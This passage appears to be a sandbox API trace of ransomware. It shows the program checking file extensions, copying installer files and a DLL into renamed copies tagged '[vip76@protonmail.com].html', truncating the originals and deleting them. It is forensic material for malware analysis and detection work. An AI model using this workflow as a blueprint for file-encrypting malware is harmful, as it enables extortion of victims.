	[0065.702] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0065.702] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44
	[0065.702] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44
	[0065.702] lstrlenW (lpString=".doc") returned 4
	[0065.702] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0065.702] lstrlenW (lpString=".docx") returned 5
	[0065.702] lstrcmpiW (lpString1=".docx", lpString2="4.msi") returned -1
	[0065.702] lstrlenW (lpString=".pdf") returned 4
	[0065.702] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0065.703] lstrlenW (lpString=".xls") returned 4
	[0065.703] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0065.703] lstrlenW (lpString=".xlsx") returned 5
	[0065.703] lstrcmpiW (lpString1=".xlsx", lpString2="4.msi") returned -1
	[0065.703] lstrlenW (lpString=".ppt") returned 4
	[0065.703] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0065.703] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44
	[0065.703] lstrlenW (lpString=".zip") returned 4
	[0065.703] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0065.703] lstrlenW (lpString=".rar") returned 4
	[0065.703] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0065.703] lstrlenW (lpString=".bz2") returned 4
	[0065.703] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0065.703] lstrlenW (lpString=".7z") returned 3
	[0065.703] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0065.703] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44
	[0065.703] lstrlenW (lpString=".dbf") returned 4
	[0065.703] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0065.703] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44
	[0065.703] lstrlenW (lpString=".1cd") returned 4
	[0065.703] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0065.703] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44
	[0065.703] lstrlenW (lpString=".jpg") returned 4
	[0065.703] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0065.704] lstrcmpiW (lpString1=".msi", lpString2=".html") returned 1
	[0065.704] lstrlenW (lpString="RGB9RAST_x64.msi") returned 16
	[0065.704] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0065.704] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x259ff14 | out: lpFileSize=0x259ff14*=184832) returned 1
	[0065.705] CloseHandle (hObject=0x350) returned 1
	[0065.705] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi")) returned 0x80
	[0065.705] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0065.705] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0065.705] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0065.705] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0065.705] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0065.705] GetLastError () returned 0x0
	[0065.706] ReadFile (in: hFile=0x350, lpBuffer=0x38a7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x259fecc, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesRead=0x259fecc*=0x2d200, lpOverlapped=0x0) returned 1
	[0065.711] WriteFile (in: hFile=0x2f8, lpBuffer=0x38a7020*, nNumberOfBytesToWrite=0x2d210, lpNumberOfBytesWritten=0x259fc94, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesWritten=0x259fc94*=0x2d210, lpOverlapped=0x0) returned 1
	[0065.715] ReadFile (in: hFile=0x350, lpBuffer=0x38a7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x259fecc, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesRead=0x259fecc*=0x0, lpOverlapped=0x0) returned 1
	[0065.715] WriteFile (in: hFile=0x2f8, lpBuffer=0x38a7020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x259fc94, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesWritten=0x259fc94*=0xf4, lpOverlapped=0x0) returned 1
	[0065.715] SetEndOfFile (hFile=0x2f8) returned 1
	[0065.715] CloseHandle (hObject=0x2f8) returned 1
	[0065.719] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0065.719] SetEndOfFile (hFile=0x350) returned 1
	[0065.721] CloseHandle (hObject=0x350) returned 1
	[0065.721] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x80) returned 1
	[0065.722] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi")) returned 1
	[0065.722] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38
	[0065.722] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38
	[0065.722] lstrlenW (lpString=".doc") returned 4
	[0065.722] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0065.722] lstrlenW (lpString=".docx") returned 5
	[0065.722] lstrcmpiW (lpString1=".docx", lpString2="4.msi") returned -1
	[0065.722] lstrlenW (lpString=".pdf") returned 4
	[0065.722] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0065.722] lstrlenW (lpString=".xls") returned 4
	[0065.722] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0065.722] lstrlenW (lpString=".xlsx") returned 5
	[0065.722] lstrcmpiW (lpString1=".xlsx", lpString2="4.msi") returned -1
	[0065.722] lstrlenW (lpString=".ppt") returned 4
	[0065.722] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0065.722] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38
	[0065.722] lstrlenW (lpString=".zip") returned 4
	[0065.722] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0065.722] lstrlenW (lpString=".rar") returned 4
	[0065.722] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0065.722] lstrlenW (lpString=".bz2") returned 4
	[0065.722] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0065.723] lstrlenW (lpString=".7z") returned 3
	[0065.723] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0065.723] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38
	[0065.723] lstrlenW (lpString=".dbf") returned 4
	[0065.723] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0065.723] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38
	[0065.723] lstrlenW (lpString=".1cd") returned 4
	[0065.723] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0065.723] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38
	[0065.723] lstrlenW (lpString=".jpg") returned 4
	[0065.723] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0065.723] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38
	[0065.723] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38
	[0065.723] lstrlenW (lpString=".doc") returned 4
	[0065.723] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0065.723] lstrlenW (lpString=".docx") returned 5
	[0065.723] lstrcmpiW (lpString1=".docx", lpString2="4.msi") returned -1
	[0065.723] lstrlenW (lpString=".pdf") returned 4
	[0065.723] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0065.723] lstrlenW (lpString=".xls") returned 4
	[0065.723] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0065.723] lstrlenW (lpString=".xlsx") returned 5
	[0065.723] lstrcmpiW (lpString1=".xlsx", lpString2="4.msi") returned -1
	[0065.723] lstrlenW (lpString=".ppt") returned 4
	[0065.723] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0065.723] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38
	[0065.723] lstrlenW (lpString=".zip") returned 4
	[0065.723] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0065.723] lstrlenW (lpString=".rar") returned 4
	[0065.723] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0065.723] lstrlenW (lpString=".bz2") returned 4
	[0065.723] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0065.723] lstrlenW (lpString=".7z") returned 3
	[0065.724] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0065.724] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38
	[0065.724] lstrlenW (lpString=".dbf") returned 4
	[0065.724] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0065.724] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38
	[0065.724] lstrlenW (lpString=".1cd") returned 4
	[0065.724] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0065.724] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38
	[0065.724] lstrlenW (lpString=".jpg") returned 4
	[0065.724] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0065.724] lstrcmpiW (lpString1=".msi", lpString2=".html") returned 1
	[0065.724] lstrlenW (lpString="RGB9Rast_x86.msi") returned 16
	[0065.724] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0065.724] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x259ff14 | out: lpFileSize=0x259ff14*=94720) returned 1
	[0065.724] CloseHandle (hObject=0x350) returned 1
	[0065.724] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi")) returned 0x80
	[0065.724] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0065.725] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0065.725] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0065.725] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0065.725] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0065.725] GetLastError () returned 0x0
	[0065.725] ReadFile (in: hFile=0x350, lpBuffer=0x38a7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x259fecc, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesRead=0x259fecc*=0x17200, lpOverlapped=0x0) returned 1
	[0065.728] WriteFile (in: hFile=0x2f8, lpBuffer=0x38a7020*, nNumberOfBytesToWrite=0x17210, lpNumberOfBytesWritten=0x259fc94, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesWritten=0x259fc94*=0x17210, lpOverlapped=0x0) returned 1
	[0065.730] ReadFile (in: hFile=0x350, lpBuffer=0x38a7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x259fecc, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesRead=0x259fecc*=0x0, lpOverlapped=0x0) returned 1
	[0065.730] WriteFile (in: hFile=0x2f8, lpBuffer=0x38a7020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x259fc94, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesWritten=0x259fc94*=0xf4, lpOverlapped=0x0) returned 1
	[0065.730] SetEndOfFile (hFile=0x2f8) returned 1
	[0065.730] CloseHandle (hObject=0x2f8) returned 1
	[0065.734] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0065.734] SetEndOfFile (hFile=0x350) returned 1
	[0066.252] CloseHandle (hObject=0x350) returned 1
	[0066.252] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x80) returned 1
	[0066.252] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi")) returned 1
	[0066.253] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38
	[0066.253] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38
	[0066.253] lstrlenW (lpString=".doc") returned 4
	[0066.253] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0066.253] lstrlenW (lpString=".docx") returned 5
	[0066.253] lstrcmpiW (lpString1=".docx", lpString2="6.msi") returned -1
	[0066.253] lstrlenW (lpString=".pdf") returned 4
	[0066.253] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0066.253] lstrlenW (lpString=".xls") returned 4
	[0066.253] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0066.253] lstrlenW (lpString=".xlsx") returned 5
	[0066.253] lstrcmpiW (lpString1=".xlsx", lpString2="6.msi") returned -1
	[0066.253] lstrlenW (lpString=".ppt") returned 4
	[0066.253] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0066.253] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38
	[0066.253] lstrlenW (lpString=".zip") returned 4
	[0066.253] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0066.253] lstrlenW (lpString=".rar") returned 4
	[0066.253] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0066.253] lstrlenW (lpString=".bz2") returned 4
	[0066.253] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0066.254] lstrlenW (lpString=".7z") returned 3
	[0066.254] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0066.254] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38
	[0066.254] lstrlenW (lpString=".dbf") returned 4
	[0066.254] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0066.254] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38
	[0066.254] lstrlenW (lpString=".1cd") returned 4
	[0066.254] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0066.254] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38
	[0066.254] lstrlenW (lpString=".jpg") returned 4
	[0066.254] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0066.254] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38
	[0066.254] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38
	[0066.254] lstrlenW (lpString=".doc") returned 4
	[0066.254] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0066.254] lstrlenW (lpString=".docx") returned 5
	[0066.254] lstrcmpiW (lpString1=".docx", lpString2="6.msi") returned -1
	[0066.254] lstrlenW (lpString=".pdf") returned 4
	[0066.254] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0066.254] lstrlenW (lpString=".xls") returned 4
	[0066.254] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0066.254] lstrlenW (lpString=".xlsx") returned 5
	[0066.254] lstrcmpiW (lpString1=".xlsx", lpString2="6.msi") returned -1
	[0066.254] lstrlenW (lpString=".ppt") returned 4
	[0066.254] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0066.254] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38
	[0066.254] lstrlenW (lpString=".zip") returned 4
	[0066.255] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0066.255] lstrlenW (lpString=".rar") returned 4
	[0066.255] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0066.255] lstrlenW (lpString=".bz2") returned 4
	[0066.255] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0066.255] lstrlenW (lpString=".7z") returned 3
	[0066.255] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0066.255] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38
	[0066.255] lstrlenW (lpString=".dbf") returned 4
	[0066.255] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0066.255] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38
	[0066.255] lstrlenW (lpString=".1cd") returned 4
	[0066.255] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0066.255] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38
	[0066.255] lstrlenW (lpString=".jpg") returned 4
	[0066.255] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0066.255] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0066.255] lstrlenW (lpString="SetupUi.dll") returned 11
	[0066.255] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.dll" (normalized: "c:\\588bce7c90097ed212\\setupui.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0066.256] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x259ff14 | out: lpFileSize=0x259ff14*=295248) returned 1
	[0066.256] CloseHandle (hObject=0x350) returned 1
	[0066.256] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.dll" (normalized: "c:\\588bce7c90097ed212\\setupui.dll")) returned 0x80
	[0066.256] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\setupui.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0066.256] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.dll" (normalized: "c:\\588bce7c90097ed212\\setupui.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0066.256] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0066.256] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0066.256] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\setupui.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0066.257] GetLastError () returned 0x0
	[0066.257] ReadFile (in: hFile=0x350, lpBuffer=0x38a7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x259fecc, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesRead=0x259fecc*=0x48150, lpOverlapped=0x0) returned 1
	[0066.266] WriteFile (in: hFile=0x34c, lpBuffer=0x38a7020*, nNumberOfBytesToWrite=0x48160, lpNumberOfBytesWritten=0x259fc94, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesWritten=0x259fc94*=0x48160, lpOverlapped=0x0) returned 1
	[0066.274] ReadFile (in: hFile=0x350, lpBuffer=0x38a7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x259fecc, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesRead=0x259fecc*=0x0, lpOverlapped=0x0) returned 1
	[0066.275] WriteFile (in: hFile=0x34c, lpBuffer=0x38a7020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x259fc94, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesWritten=0x259fc94*=0xea, lpOverlapped=0x0) returned 1
	[0066.275] SetEndOfFile (hFile=0x34c) returned 1
	[0066.275] CloseHandle (hObject=0x34c) returned 1
	[0066.284] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0066.284] SetEndOfFile (hFile=0x350) returned 1
	[0066.288] CloseHandle (hObject=0x350) returned 1
	[0066.288] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x80) returned 1
	[0066.289] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.dll" (normalized: "c:\\588bce7c90097ed212\\setupui.dll")) returned 1
	[0066.289] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33
	[0066.289] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33
	[0066.289] lstrlenW (lpString=".doc") returned 4
	[0066.289] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0066.289] lstrlenW (lpString=".docx") returned 5
	[0066.289] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1
	[0066.289] lstrlenW (lpString=".pdf") returned 4
	[0066.289] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0066.289] lstrlenW (lpString=".xls") returned 4
	[0066.289] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0066.289] lstrlenW (lpString=".xlsx") returned 5
	[0066.290] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1
	[0066.290] lstrlenW (lpString=".ppt") returned 4
	[0066.290] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0066.290] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33
	[0066.290] lstrlenW (lpString=".zip") returned 4
	[0066.290] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0066.290] lstrlenW (lpString=".rar") returned 4
	[0066.290] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0066.290] lstrlenW (lpString=".bz2") returned 4
	[0066.290] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0066.290] lstrlenW (lpString=".7z") returned 3
	[0066.290] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0066.290] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33
	[0066.290] lstrlenW (lpString=".dbf") returned 4
	[0066.290] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0066.290] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33
	[0066.290] lstrlenW (lpString=".1cd") returned 4
	[0066.290] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0066.290] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33
	[0066.290] lstrlenW (lpString=".jpg") returned 4
	[0066.290] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0066.290] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33
	[0066.290] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33
	[0066.290] lstrlenW (lpString=".doc") returned 4
	[0066.290] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0066.290] lstrlenW (lpString=".docx") returned 5
	[0066.291] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1
	[0066.291] lstrlenW (lpString=".pdf") returned 4
	[0066.291] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0066.291] lstrlenW (lpString=".xls") returned 4
	[0066.291] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0066.291] lstrlenW (lpString=".xlsx") returned 5
	[0066.291] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1
	[0066.291] lstrlenW (lpString=".ppt") returned 4
	[0066.291] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0066.291] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33
	[0066.291] lstrlenW (lpString=".zip") returned 4
	[0066.291] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0066.291] lstrlenW (lpString=".rar") returned 4
	[0066.291] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0066.291] lstrlenW (lpString=".bz2") returned 4
	[0066.291] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0066.291] lstrlenW (lpString=".7z") returned 3
	[0066.291] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0066.291] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33
	[0066.291] lstrlenW (lpString=".dbf") returned 4
	[0066.291] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0066.291] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33
	[0066.291] lstrlenW (lpString=".1cd") returned 4
	[0066.291] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0066.291] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33
	[0066.291] lstrlenW (lpString=".jpg") returned 4
	[0066.291] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0066.292] lstrcmpiW (lpString1=".exe", lpString2=".html") returned -1
	[0066.292] lstrlenW (lpString="SetupUtility.exe") returned 16
